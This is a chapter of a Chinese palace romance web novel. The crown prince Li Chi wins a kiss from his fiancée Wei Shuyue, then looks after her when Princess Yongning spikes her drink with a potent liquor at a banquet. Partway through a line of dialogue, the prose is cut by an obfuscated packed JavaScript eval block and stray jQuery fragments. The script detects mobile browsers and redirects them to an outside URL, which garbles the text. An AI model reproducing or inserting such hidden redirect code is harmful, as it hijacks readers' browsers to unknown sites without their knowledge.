48. 第 48 章

作品:《东宫慕我

    李驰出了雅室便在寻魏舒月的路上。


    也不知他的未婚妻如今在何处?总不会躲起来哭鼻子罢?


    正想着,放眼望去,就见魏舒月站在湖边往湖里投石子,有一下没一下的,看起来百无聊赖。


    李驰走到她身畔,侧眸看着她笑了笑,也学她的样子捡了小石块丢到了湖面。


    随着石块在湖面“蹭蹭蹭”地跳跃了十来下方落入湖里,魏舒月诧异地挑了挑眉。


    “要不要比比?”李驰向她发出邀请。


    “比就比。”魏舒月爽快地答应了。


    “殿下输了给我当马骑。”她想也不想脱口而出。


    话一说完就后悔了,可话已出口,她不愿收回,只悻悻地看向李驰。


    “好。”李驰点头答应。


    回望她时,眼里笑意不减,“阿月输了让孤亲一下。”


    魏舒月怔住,她张了张嘴,很想说爱比不比,可又不愿让李驰看扁,只好应下。


    她在地上挑了块趁手的石块,起了个势头,将石块往湖面掷去。


    她在心里默数,石块总共跳了九下才落入湖里。


    “殿下请。”她表现得很平静,实则内心隐隐担忧。


    李驰随手捡了石块,姿势优雅地将石块掷了出去。


    “一二三……九十。”


    魏舒月回眸看他,隐有怒意,“殿下故意的?”


    刚好比她多了一跳,这不就是故意要打她脸?


    “不过是手气好了些。”李驰浅浅一笑。


    “再来一次。”魏舒月不服气地说道。


    “也好。”李驰不作思量就答应了她。


    对上他似笑非笑的乌眸,魏舒月呼吸一窒,这分明就是在笑她耍赖。


    “不来了。”


    她赌气要走,还没走出两步,手腕被扼住,她故作疑惑地回头睇他。


    他另一只手掌揽在她纤腰轻轻往怀里带,嘴角噙着笑,“愿赌服输。”


    “我不…”


    话没说完,眼瞅着李驰越凑越近,她急忙抬手去捂他嘴。


    “没亲到不算。”


    先前也没说要亲嘴呀?魏舒月正要辩驳,耳畔忽闻脚步声,趁她分神,李驰扒开她手,在她唇上印下一吻。


    “殿下原来在这儿!”


    “咦?!”


    来人见到一向冷静自持的太子殿下公然和一女子亲热,不由得瞪圆了眼。


    李驰深知适可而止的道理,蜻蜓点水巧夺一吻后立即松开了她。


    魏舒月羞恼得面红耳赤,擦了擦嘴,转身跑开了。


    “那位便是魏家小姐?”邓融之回望魏舒月匆匆离去的背影,笑着询问。


    李驰不愿与人闲聊有关于魏舒月之事,遂岔开了话题,“两位表兄随孤到书房一叙。”


    邓融之和堂弟邓肃之互望一眼,随即点了点头。


    ——*——


    开宴后,众人一致到齐,纷纷给永华公主庆贺生辰之喜。


    永华公主笑着表示:“诸位驾临寒舍,不胜欣喜…”


    结词后,侍女井然有序地捧着美酒佳肴上来,紧跟着又有歌舞助兴。


    魏舒月惊讶地发现弹琴的居然是冯纯兮。


    她一曲娴熟,曲若高山流水,高雅脱俗。


    琴声飘至对面水榭,也不知李驰听到与否?魏舒月好奇地打眼望去,却见帘子摇曳,水榭里的身影若隐若现,叫人瞧不真切。


    她猜李驰定然是听到了,只是不知他作何感想?


    酒过三巡,永宁公主提议玩击鼓传花。


    她一开口,魏舒月就有种她又要耍花样的错觉。


    事情也确如她所料,每每都是绢花到了她手里,鼓声便停止。


    她接连饮了两盅酒,只觉得心口火烧火燎地难受得紧。


    好在下两个回合越过她鼓声才停。


    到了第三轮,绢花刚落她手,察觉到敲鼓的仆妇要停手,魏舒月原本可以快速将绢花投掷出去,奈何坐在她下首的是安琇玉,她只好放弃。


    安琇玉一直关注着她,自然也察觉到了她的动作,她蹙着眉,用只有两个人能听见的声音说道:“阿月可以把绢花传给我。”


    “我倒是想,不过是慢了一步。”魏舒月自嘲一笑。


    皇家两姐妹本就看她不顺眼,她不想因为自己而牵连安琇玉。


    先前她替自己说话就已经让永华公主不快了,魏舒月一直记得的。


    她饮了五盅酒,只觉得胃里翻腾得厉害,故借口如厕离席。


    刚走到回廊,给风一吹,脚步愈渐虚浮,眼前人影幢幢,张牙舞爪地向她抓来,她踉跄着躲避,没曾想却是一头撞进了李驰怀里。


    “阿月…”李驰疑惑地看着在他怀里挣扎的魏舒月,她面上是不寻常的酡红,惹人担忧。


    神志不清的魏舒月以为李驰要轻薄她,拔了簪子就去刺他,眼前雾蒙蒙一片根本瞧不真切,手里也失了准头,让李驰轻而易举就攥住了手腕,她身体急遽往下坠,李驰不得不环抱住她。


    见她难受欲呕,连忙扶住她到廊下,丝毫不怕秽物熏到,轻拍她后背。


    荣卓递来水杯,李驰接过喂她漱口。


    “可好些了?”他蹙紧眉心,担忧地询问。


    魏舒月昏昏沉沉说不出话,身子疲软,歪倒在他怀里。


    李驰只好将她拦腰抱起,往附近的春兰院走去。


    到了室内,他把魏舒月轻轻放到床榻上,给她脱了鞋袜,盖上锦被,又叫荣卓打来热水亲自为她擦洗。


    没一会儿,府医匆匆赶到。


    李驰站立床边,听着府医的诊言。


    “太子妃这是风寒加上热毒,好在太子妃体质敦厚,老朽开个方子,太子妃吃两副药再好好休养两日便可痊愈。”


    “太子妃饮的是什么酒?”


    “这…”府医一脸难色。


    李驰回头对荣卓示意,荣卓立即把酒壶递了过去。


    府医揭开盖子闻了闻,又从壶嘴滴了一滴尝了尝,随即皱着眉头回道:“这是烈酒三日醉,寻常人饮三杯就能醉倒三日,故而取名三日醉。”


    李驰挥了挥衣袖示意他退下。


    荣卓察觉到他气场不对,也不敢言语。


    公主府宴客如何会用这等烈酒?更何况赴宴的皆是贵女,平常也只是用果酒招待宾客。


    可魏舒月席上的偏偏就是这名曰三日醉的烈酒。


    李驰不用猜就已经知道真相。


    “去请永宁公主来一趟。”


    他神情出奇的平静。


    “诺。”荣卓应声退下。


    永宁公主一听太子要见她就已经猜到是何缘故了,她两股战战,却摆出一副死不认错的高傲姿态。


    可进了屋里,面对清凌凌的眼神朝她看来的兄长,她好不容易鼓舞起来的士气全都泄了。


    “哥哥找我何事?”她眼神乱瞟,不敢去看兄长。


    李驰示意荣卓把酒壶给她。


    永宁公主面色骤变,却逼着自己冷静下来,故作不解地问:“哥哥要请我饮酒吗


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15187519|161092||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ?”


    李驰点了点头,“你嫂嫂喝了几杯你也喝几杯。”


    “我不喝。”永宁公主想也不想就拒绝了。


    她又不是傻子,荣卓手里的酒分明就是她故意拿来捉弄魏舒月的,那里面装的可是烈酒,以她的酒量,不说三杯,一杯就能让她醉三日。


    “看来你知道这酒不能喝,孤没有冤枉你。”


    他用失望的眼神看她,这是她最难以接受的。


    永宁公主叫嚷起来:“对,是我做的,我就是想看她出丑。”


    “谁让太子哥哥喜欢她,她有什么好的?那样狂妄无礼…”


    眼见兄长朝她走来,她慌忙住嘴。


    李驰深深凝视着她,缓缓开了口:“妹妹犯错,孤作为兄长,理应代为赔罪。”


    他说罢便要去夺荣卓手里的酒壶,却让永宁公主抢先了一步。


    永宁公主把酒壶抱在怀里,眼含热泪,“这酒伤身,太子哥哥不能喝,要喝也是我喝。”


    她转身朝黄花梨圆桌走去,抓了个饮水的白玉杯执壶往里倒满酒,一饮而尽,正要再倒一杯,李驰按住了她的手。


    “喝多了伤身,孤替你喝。”


    他关切的眼神让永宁公主无地自容,心里越加憎恶魏舒月。


    “太子哥哥喝多就不伤身吗?”


    她看向躺在床榻上对周遭之事毫无知觉的魏舒月一眼,“哥哥为她做的这些她又看不到,岂不是白费心机了?”


    ““问心无愧便好。”李驰坦然自嘲。


    ——*——


    连饮几杯酒下肚,胸腔像是被烈火焚烧,心跳紊乱,大脑一片混沌,李驰方才能真正感受到魏舒月先前所经历的不适。


    他喝下府医特地开的醒酒汤,神智才慢慢归位。


    杜若岚早已在他叮嘱下给魏舒月喂了汤药。


    此时已是子时五刻,魏舒月还未醒来。


    李驰坐在床沿守了她一夜,天光微熹,魏舒月悠悠醒转,睁开眼看到的是李驰温柔的笑颜,她神思滞了一下,本能地一个跃起将李驰惯倒在床榻,微凉的手指扼住他的咽喉。


    因起得太快,她脑子里晕眩了一下,就这么毫无征兆地扑倒在李驰身上,她挣扎着要起来。


    还是李驰环抱住她,托着她起身,取来大迎枕给她靠着。


    “可好些了?”他关切地伸手去探她额头。


    魏舒月打开他的手,有气无力地说道:“我这是怎么了?”


    垂眸看到自己又更换了新衣,她兀自失神,身上忽冷忽热,困乏无力,她心知自己是生病了。


    “阿月喝醉了。”李驰温声回道。


    魏舒月淡淡地瞟了他一眼,记起昨夜那烧心烧肺的酒,她真想问问李驰那是不是永华公主买到假酒了?


    有哪家主人会用这样的酒来招待客人的?


    李驰故作看不懂她眼里的幽怨。


    “孤让人来伺候你梳洗。”


    他自己也要梳洗更衣,说罢就起身走了出去。


    魏舒月目送他离开的身影,不知为何,心里总觉得怪怪的。


    她已经不记得昨夜发生了什么事,脑海里的记忆从离开宴席去如厕之后就仿佛被抹掉了。


    正想着,思绪因两个丫鬟捧着洗漱物品入内发出的响动而回笼。


    看着眼前和永华公主府侍女一样的穿着打扮,魏舒月才确定自己仍旧是在永华公主府上。


    她一夜未归,母亲和哥哥嫂嫂该着急了。


    也不知太子有没有派人去魏府通禀一声?